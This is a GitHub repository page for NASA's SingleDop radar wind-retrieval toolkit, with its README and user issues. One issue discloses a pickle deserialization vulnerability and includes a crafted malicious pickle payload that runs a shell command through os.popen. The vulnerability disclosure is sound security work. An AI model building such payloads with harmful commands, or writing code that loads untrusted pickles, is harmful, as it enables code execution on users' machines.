nasa / singledop

Single Doppler Retrieval Toolkit (SingleDop)

SingleDop README

SingleDop is a software module, written in the Python programming language, that will retrieve two-dimensional low-level winds from either real or simulated Doppler radar data. It mimics the functionality of the algorithm described in the following reference:

• Xu et al., 2006: Background error covariance functions for vector wind analyses using Doppler-radar radial-velocity observations. Q. J. R. Meteorol. Soc., 132, 2887-2904.

The interface is simplified to a single line of code in the end user's Python scripts, making implementation of the algorithm in their research analyses very easy. The software package also interfaces well with other open source radar packages, such as the Python ARM Radar Toolkit (Py-ART). Simple visualization (including vector and contour plots) and save/load routines (to preserve analysis results) are also provided.

SingleDop Installation

SingleDop works under Python 2.7-3.8 on most Mac/Linux setups. Windows installation and other Python versions are currently untested.

To install:
python setup.py install

The following dependencies need to be installed first:

• A robust version of Python 2.7-3.8 w/ most standard scientific packages (e.g., numpy, matplotlib, scipy, etc.) - Get one for free here: https://store.continuum.io/cshop/anaconda/
• The Python Atmospheric Radiation Measurement (ARM) Radar Toolkit (Py-ART)
• Python Turbulence Detection Algorithm (PyTDA)
• xarray - optional

Specific import calls in the SingleDop source code:

from __future__ import division, print_function
import numpy as np
import matplotlib.pyplot as plt
from matplotlib import cm
import sys
import scipy
import math
import time
import warnings
import pyart
from pytda import get_sweep_data, get_sweep_azimuths, get_sweep_elevations, \
                  flatten_and_reduce_data_array
from .common import radar_coords_to_cart
from .cmap_map import lighten_cmap
try:
    import xarray
except ImportError:
    warnings.warn(
        'xarray not installed, cannot load or save SingleDop datasets')  

Using SingleDop

To access everything:

import singledop

A demonstration notebook is in the notebooks directory.

singledop's Issues

Remote code execution in SingleDop

Hi,

I would like to report a remote code execution potential vulnerability in Singledop. Pickle module enables binary serialization and loading of Python datatypes and any user supplied sample file can lead to remote code execution on any researches machine processing a serialized file.

Attack binary a valid dop file:

mona@mona-virtual-machine:~/Downloads/SingleDop$ cat t_file cos popen (S'uname -a' tRp100 0c__builtin__ getattr (c__builtin__ file S'read' tRp101 0c__builtin__ apply (g101 (g100 I1000 ltRp102 0c__builtin__ getattr (c__builtin__ file S'close' tRp103 0c__builtin__ apply (g103 (g100 ltRp104 0g102 .
The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

Please let me know if you have any questions. You can also reach back to me at [email protected]
Thanks

importError

hello！when importing singledop
show ‘’importerror dll load failed while importing join：拒绝访问”，how to solve it？

Read in netcdf files

Is it possible for singledop to read in netcdf files outputted by Radx? I edited radar data using solo then gridded them using Radx. Is it possible to read in that netcdf file into singledop to do a wind analysis on it?

Thanks!

Code:
import pyart
from matplotlib import pyplot as plt
import numpy as np
from scipy import ndimage, signal
import time
import os
import glob
import singledop

file = '/nas/rhome/dconrad/QLCS_Tor_Cases/Albertville_20150104/ARMOR/focusTimes/gridded/20150104/ncf_20150104_014241.nc'

radar = pyart.io.read(file)

sd_test = singledop.SingleDoppler2D(L=30.0, radar=radar, range_limits=[0, 100], sweep_number=0, name_vr='V4', thin_factor=[4, 12])

display = singledop.AnalysisDisplay(sd_test)
display.four_panel_plot(scale=400, legend=20, return_flag=False, thin=6,
levels=-30.0+2.0*np.arange(31), name_vr='VE', name_dz='AZ')

Error:

runfile('/nas/rhome/dconrad/QLCS_Tor_Cases/Albertville_20150104/dual/Singledop/singledop.py', wdir='/nas/rhome/dconrad/QLCS_Tor_Cases/Albertville_20150104/dual/Singledop')
Traceback (most recent call last):
File "", line 1, in
File "/common/pkgs/anaconda_python/3-2.4.0-radar/lib/python3.5/site-packages/spyderlib/widgets/externalshell/sitecustomize.py", line 685, in runfile
execfile(filename, namespace)
File "/common/pkgs/anaconda_python/3-2.4.0-radar/lib/python3.5/site-packages/spyderlib/widgets/externalshell/sitecustomize.py", line 85, in execfile
exec(compile(open(filename, 'rb').read(), filename, 'exec'), namespace)
File "/nas/rhome/dconrad/QLCS_Tor_Cases/Albertville_20150104/dual/Singledop/singledop.py", line 19, in
radar = pyart.io.read(file)
File "/common/pkgs/anaconda_python/3-2.4.0-radar/lib/python3.5/site-packages/pyart/io/auto_read.py", line 121, in read
return read_cfradial(filename, **kwargs) # CF/Radial
File "/common/pkgs/anaconda_python/3-2.4.0-radar/lib/python3.5/site-packages/pyart/io/cfradial.py", line 150, in read_cfradial
_range = _ncvar_to_dict(ncvars['range'])
KeyError: 'range'

How to get some real radar data

Hello,
I want to see how the code(singledop.SinleDoppler2D) works, but I don't have any real radar data. Could you tell me where I can get some sample data of real radar? I would be very grateful if you could tell me how to download valid data.

Add ability to mask retrievals far from echo

Single-Doppler retrievals become more error-prone and more subject to instability the further away from echo one gets. Thus, it would be helpful to add the capability, via either a flag or mask, to identify analysis grid cells that are distant from echo. The end user can then use that info to adjust plots or their analysis of the wind retrievals accordingly.

Singular matrix error

Hi Tim,

Firstly, thanks for the fantastic implementation of the Xu et al. 2006 algorithm.
I'm testing your code on the Australian Doppler radar network for near real-time 2D wind retrieval (24 radars on 6 minute volumes).
It's working really well, and I'll be presenting a 9 year validation against surface data at the AMS radar conference... but I'm just having one nagging issue!
Some volumes return a singular matrix error

Traceback (most recent call last): File "sd_winds_pltout.py", line 66, in <module> filter_data=True,filter_distance=5) File "build/bdist.linux-x86_64/egg/singledop/singledop.py", line 304, in __init__ File "build/bdist.linux-x86_64/egg/singledop/singledop.py", line 484, in compute_single_doppler_retrieval File "/home/meso/anaconda2/lib/python2.7/site-packages/scipy/linalg/basic.py", line 103, in solve raise LinAlgError("singular matrix") numpy.linalg.linalg.LinAlgError: singular matrix

Australian Doppler radar data is a mess. We have dualPRF artifacts, the network is full of different models/makes and the data quality is low in general... so I apply despeckle and median filtering. Here's the script I call link
and a volume which crashes the script link

Cheers!

Exporting derived wind field in ASCII/NETCDF

Hi!
Is there any way of exporting the U,V fields along with the lat/lon grid to ASCII or NETCDF files?